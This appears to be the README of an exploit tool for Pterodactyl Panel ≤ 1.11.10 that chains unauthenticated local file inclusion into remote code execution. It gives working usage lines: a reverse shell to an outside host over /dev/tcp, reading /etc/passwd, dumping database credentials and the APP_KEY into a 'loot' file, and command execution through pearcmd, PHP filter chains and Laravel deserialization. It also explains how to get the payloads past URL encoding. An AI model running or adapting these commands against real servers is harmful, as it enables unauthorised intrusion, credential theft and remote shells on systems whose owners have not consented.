
Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.
The /locales/locale.json endpoint accepts locale and namespace parameters that are passed directly to PHP's include() without sanitization or authentication. The hash parameter intended to prevent abuse is never enforced on unpatched versions.
This allows:
.php config file (database creds, APP_KEY, mail, session…)pearcmd.php inclusion (register_argc_argv + config-create trick), PHP filter chains, or Laravel deserialization with the leaked APP_KEYAffected: Pterodactyl Panel ≤ 1.11.10 Fixed in: 1.11.11
The original PoCs use Python requests to send the pearcmd payload. The problem: requests silently URL-encodes characters like <, >, {, } - which breaks the PHP tags (<?=system(...)?>) embedded in the URL.
This exploit fixes that with two key changes:
curl for Stage 1 - The payload creation request uses curl -g (globoff) via subprocess, bypassing Python's URL encoding entirely.hex2bin() for command encoding - Instead of injecting the raw command (which breaks on spaces and special chars), the command is hex-encoded and decoded server-side with system(hex2bin('...')). Hex only uses 0-9a-f - no +, no =, no &, no spaces. This means any command works, including reverse shells with >& and /dev/tcp/.pip install requests
Optional (for filter chain / deserialization RCE methods):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
--pear-dir values| Distro | Path |
|---|---|
| Debian / Ubuntu |
When run without --rce-cmd / --rce-filter / --rce-d, the exploit performs a full config extraction:
/etc/passwd, hostname, kernel versionA full JSON report is saved to loot.json (or custom path via -o).
This exploit is an improvement based on the PoC from GRodolphe/CVE-2025-49132_poc, itself inspired by the original PoC from 0xtensho/CVE-2025-49132-poc.
| Option | Description |
|---|
target | Target URL (e.g. http://panel.pterodactyl.fr) |
--rce-cmd CMD | Execute CMD via pearcmd (supports any command, incl. reverse shells) |
--rce-filter CMD | Execute CMD via PHP filter chain |
--filter-chain CHAIN | Use a pre-generated php://filter chain (with --rce-filter) |
--rce-d CMD | Execute CMD via Laravel deserialization |
--pear-dir PATH | Path to pearcmd.php directory (default: /usr/share/php) |
--timeout N | Request timeout in seconds (default: 10) |
--verify-ssl | Enable SSL certificate verification (disabled by default) |
-o FILE | Output report file (default: loot.json) |
/usr/share/php (default) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 or /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |